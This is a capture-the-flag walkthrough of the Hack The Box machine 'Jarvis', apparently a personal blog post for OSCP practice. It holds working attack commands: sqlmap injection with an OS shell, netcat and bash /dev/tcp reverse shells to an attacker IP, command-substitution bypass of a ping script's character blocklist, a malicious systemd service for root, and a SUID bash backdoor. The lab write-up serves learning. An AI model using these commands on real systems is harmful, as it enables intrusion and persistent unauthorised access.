8 minute read

Introduction


Jarvis is a medium box rated 4.8, which is one of the highest on TJnulls OSCP prep list. I do not want to waste your time, so let’s start with the enumeration.

Enumeration


I use Nmap to enumerate all open ports and then perform some manual enumeration on them.

Do not forget to add the host to the hosts file.

Nmap Scan


Here are the results of the simple scan of all ports:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/jarvis]
└─$ sudo nmap -sS -v -p- jarvis.htb                
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-06 07:42 CEST
Initiating Ping Scan at 07:42
Scanning jarvis.htb (10.10.10.143) [4 ports]
Completed Ping Scan at 07:42, 0.21s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 07:42
Scanning jarvis.htb (10.10.10.143) [65535 ports]
Completed SYN Stealth Scan at 07:57, 918.83s elapsed (65535 total ports)
Nmap scan report for jarvis.htb (10.10.10.143)
Host is up (0.090s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
64999/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 919.30 seconds
           Raw packets sent: 68846 (3.029MB) | Rcvd: 252373 (48.165MB)

On those open ports, I perform a deep scan (with -A flag):

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/jarvis]
└─$ sudo nmap -A -p 22,80,64999 jarvis.htb                                         
[sudo] password for user: 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-06 08:00 CEST
Nmap scan report for jarvis.htb (10.10.10.143)
Host is up (0.095s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (94%), Linux 3.2 (94%), 
AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.12 (94%), 
Linux 3.13 (94%), Linux 3.16 (94%), Linux 3.8 - 3.11 (94%), Linux 4.4 (94%), 
Linux 4.8 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   91.09 ms 10.10.16.1
2   91.24 ms jarvis.htb (10.10.10.143)

Nmap done: 1 IP address (1 host up) scanned in 22.52 seconds

Service Enumeration


The SSH version is not vulnerable, so I can start directly with the web servers.

Port 80


I visit the website running on port 80:

Untitled

On the top left of the page, I found another domain name: supersecurehotel.htb. The footer of the page points to jarvis.htb. I found nothing more interesting, so I moved on with a gobuster scan:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/jarvis]
└─$ gobuster dir -u http://jarvis.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt -x php,html,log,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://jarvis.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,log,txt
[+] Timeout:                 10s
===============================================================
2021/09/06 07:42:44 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 309] [--> http://jarvis.htb/images/]
/index.php            (Status: 200) [Size: 23628]                              
/nav.php              (Status: 200) [Size: 1333]                               
/footer.php           (Status: 200) [Size: 2237]                               
/css                  (Status: 301) [Size: 306] [--> http://jarvis.htb/css/]   
/js                   (Status: 301) [Size: 305] [--> http://jarvis.htb/js/]    
/fonts                (Status: 301) [Size: 308] [--> http://jarvis.htb/fonts/] 
/phpmyadmin           (Status: 301) [Size: 313] [--> http://jarvis.htb/phpmyadmin/]
/connection.php       (Status: 200) [Size: 0]                                      
/room.php             (Status: 302) [Size: 3024] [--> index.php]

The virtual host scan did not find anything except some 400 errors. But I noticed that there is a PHPMyAdmin page. I tried login in with root, but it does not permit root login.

The PHPMyAdmin version is vulnerable to a local file inclusion (authenticated), so I first need some credentials.

When clicking on a hotel, I get forwarded to a page like this: http://10.10.10.143/room.php?cod=x. This might be vulnerable to a SQL injection, which I will test later.

Port 64999


When I visit the web page on port 64999, it shows me that I’m banned:

Untitled

The gobuster scan for directories as well as the vhost scan did not find anything. I tried to access the webpage with the new domain name found, but that didn’t work as well. So I downloaded the page:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/jarvis]
└─$ cat index.html 
Hey you have been banned for 90 seconds, don't be bad

The page could be downloaded because I have the same problem here.

Exploitation


Checking For SQL Injection


I check if the parameter cod is vulnerable by using sqlmap (I know that SQLMap is not allowed in the OSCP exam, but I struggle with the manual exploitation, so I use the automated tool this time):

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/jarvis]              
└─$ sqlmap –u http://jarvis.htb/room.php?cod=1 --dbs --batch                          
        ___                                                  
       __H__    
 ___ ___[.]_____ ___ ___  {1.5.8#stable}                             
|___|_  ["]_|_|_|__,|  _|                  
      |_|V...       |_|   http://sqlmap.org                       
                                                    
                                      
[*] starting @ 08:55:43 /2021-09-06/
---snip---
[08:56:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[08:56:17] [INFO] fetching database names
[08:56:18] [INFO] retrieved: 'hotel'
[08:56:18] [INFO] retrieved: 'information_schema'
[08:56:18] [INFO] retrieved: 'mysql'
[08:56:19] [INFO] retrieved: 'performance_schema'
available databases [4]:  
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema

[*] ending @ 08:56:19 /2021-09-06/

This isn’t much information. Let’s try to get a shell (--os-shell):

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/jarvis]
└─$ sqlmap –u http://jarvis.htb/room.php?cod=1 --dbs --batch --os-shell
---snip---
[10:22:35] [INFO] the file stager has been successfully uploaded on '/var/www/html/'
[10:22:36] [INFO] the backdoor has been successfully uploaded on '/var/www/html/'
[10:22:36] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

There is the shell, but this shell isn’t that great, so I spawn a reverse shell:

os-shell> nc 10.10.16.7 4444 -e /bin/bash
do you want to retrieve the command standard output? [Y/n/a] Y
No output
os-shell>

And a shell spawns in the netcat listener:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/jarvis]
└─$ nc -lvnp 4444                   
listening on [any] 4444 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.143] 57168
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@jarvis:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@jarvis:/var/www/html$ ^Z
zsh: suspended  nc -lvnp 4444
           
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/jarvis]
└─$ stty raw -echo; fg                 
[1]  + continued  nc -lvnp 4444

www-data@jarvis:/var/www/html$

I stabilized the shell but was not able to get the user flag, so I need to privesc:

www-data@jarvis:/home/pepper$ ls
Web  user.txt
www-data@jarvis:/home/pepper$ cat user.txt
cat: user.txt: Permission denied
www-data@jarvis:/home/pepper$

Privesc


Privesc (Pepper)


I start by looking if I can run commands as sudo:

www-data@jarvis:/tmp$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data@jarvis:/tmp$ cd /var/www/Admin-Utilities/
www-data@jarvis:/var/www/Admin-Utilities$ ls
simpler.py

I looked at the script and found this function (when pinging a target):

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

This is very insecure, since the script just executes the command you type in. There is a blocking chars list, but the dollar is not in it, so I can use this to spawn a shell as pepper:

www-data@jarvis:/$ sudo -u pepper /var/www/Admin-Utilities s/simpler.py -p
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************

Enter an IP: $(/bin/bash)
pepper@jarvis:/$

I get no output in this shell, so I need to spawn a reverse shell:

pepper@jarvis:/var/www/html$ bash -i >& /dev/tcp/10.10.16.7/5555 0>&1

When looking at the netcat listener, I see that the shell as pepper spawned:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/jarvis]
└─$ nc -lvnp 5555 
listening on [any] 5555 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.143] 38590
pepper@jarvis:/var/www/html$ id
id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
pepper@jarvis:/var/www/html$

Before collecting the flag, I stabilize this shell:

pepper@jarvis:/var/www/html$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
pepper@jarvis:/var/www/html$ export TERM=xterm
export TERM=xterm
pepper@jarvis:/var/www/html$ ^Z
zsh: suspended  nc -lvnp 5555

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/jarvis]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 5555

pepper@jarvis:/var/www/html$ ^C

Shortcuts like ^C and ^L are now working fine without crashing the shell.

User Flag


It’s time to grab the user flag:

pepper@jarvis:/var/www/html$ cd /home/pepper/
pepper@jarvis:~$ ls
Web  user.txt
pepper@jarvis:~$ cat user.txt
2a**************************c44f

Privesc (Root)


I cannot run the sudo command as pepper, this would require a password. So I check for files with SUID bit set:

pepper@jarvis:~$ find / -perm -u=s -type f 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
pepper@jarvis:~$

It’s unusual for systemctl to have a SUID bit set, so I search for a GTFOBin for this application:

[systemctl GTFOBins](https://gtfobins.github.io/gtfobins/systemctl/#suid)

This exploitation did not correctly work when I tried it, so here is another way to achieve privesc:

Privilege Escalation: Systemctl (Misconfigured Permissions - sudo/SUID)

I slightly changed the service to this:

[Unit]
Description=Getting root
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.7/6666 0>&1'
[Install]
WantedBy=multi-user.target

Start a netcat listener. I link and start the service:

pepper@jarvis:~$ /bin/systemctl enable /home/pepper/root.service
Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /home/pepper/root.service.
Created symlink /etc/systemd/system/root.service -> /home/pepper/root.service.
pepper@jarvis:~$ /bin/systemctl start root

While executing the last command to start the fake service, a shell spawns in the netca listener:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/jarvis]
└─$ nc -lvnp 6666 
listening on [any] 6666 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.143] 41276
bash: cannot set terminal process group (6957): Inappropriate ioctl for device
bash: no job control in this shell
root@jarvis:/# id
id
uid=0(root) gid=0(root) groups=0(root)

It worked, the shell runs as user root.

Root Flag


Since I have root permissions, I can read the root flag:

root@jarvis:/# cat /root/root.txt
cat /root/root.txt
d4**************************4271

Persistency


Since the box did not take too long, I tried to gain persistent root access on the system. For this, I created rootbash:

root@jarvis:/tmp# cp /bin/bash /var/www
cp /bin/bash /var/www
root@jarvis:/var/www# cp bash rootbash
cp bash rootbash
root@jarvis:/var/www# ls
ls
Admin-Utilities
bash
html
rootbash
root@jarvis:/var/www# chmod +s rootbash
chmod +s rootbash

This should be enough, I try to gain root access from www-data:

www-data@jarvis:/var/www$ ls
Admin-Utilities  bash  html  rootbash
www-data@jarvis:/var/www$ ./rootbash -p
rootbash-4.4# whoami
root

That worked, so I have a persistent root access to the system.

Conclusions


The box showed me that even if the way to exploit a system is found, it can still be a struggle to get a shell on the machine. That was the case for the privesc to root. It was straightforward but did not work. The rest was still fun to solve and I still got some nice experiences while solving it.